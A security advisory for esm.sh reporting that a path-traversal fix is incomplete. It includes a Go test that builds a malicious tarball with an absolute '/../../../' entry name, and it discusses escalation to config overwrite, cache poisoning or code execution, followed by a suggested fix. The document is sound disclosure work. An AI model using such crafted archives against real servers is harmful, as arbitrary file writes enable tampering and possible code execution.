GHSA-2657-3c98-63jq

Summary

The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.

PoC

This test file can demonstrate the basic idea pretty easily:

package server

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "testing"
)

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
    // Create a temporary directory for testing
    installDir := "./testdata/good"

    // Create a malicious tarball with path traversal
    var buf bytes.Buffer
    gw := gzip.NewWriter(&buf)
    tw := tar.NewWriter(gw)

    // Add a normal file
    content := []byte("export const foo = 'bar';")
    header := &tar.Header{
        Name:     "package/index.js",
        Mode:     0644,
        Size:     int64(len(content)),
        Typeflag: tar.TypeReg,
    }
    if err := tw.WriteHeader(header); err != nil {
        t.Fatal(err)
    }
    if _, err := tw.Write(content); err != nil {
        t.Fatal(err)
    }

    // Add a malicious file with path traversal
    bad := []byte("bad")
    header = &tar.Header{
        Name:     "/../../../bad/bad.txt",
        Mode:     0644,
        Size:     int64(len(bad)),
        Typeflag: tar.TypeReg,
    }
    if err := tw.WriteHeader(header); err != nil {
        t.Fatal(err)
    }
    if _, err := tw.Write(bad); err != nil {
        t.Fatal(err)
    }

    tw.Close()
    gw.Close()

    // Call extractPackageTarball with the malicious tarball
    if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
        t.Errorf("extractPackageTarball returned error: %v", err)
    }
}

Impact

It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.

Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.

The limiting factors in the default setup that limit escalating this to code execution:

• extractPackageTarball has a file-extension check which makes some more "obvious" escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension.
• Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it's home directory.
• The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.

Fix

Using <code>os.Root</code> seems like it will solve this issue and doesn't require new dependencies.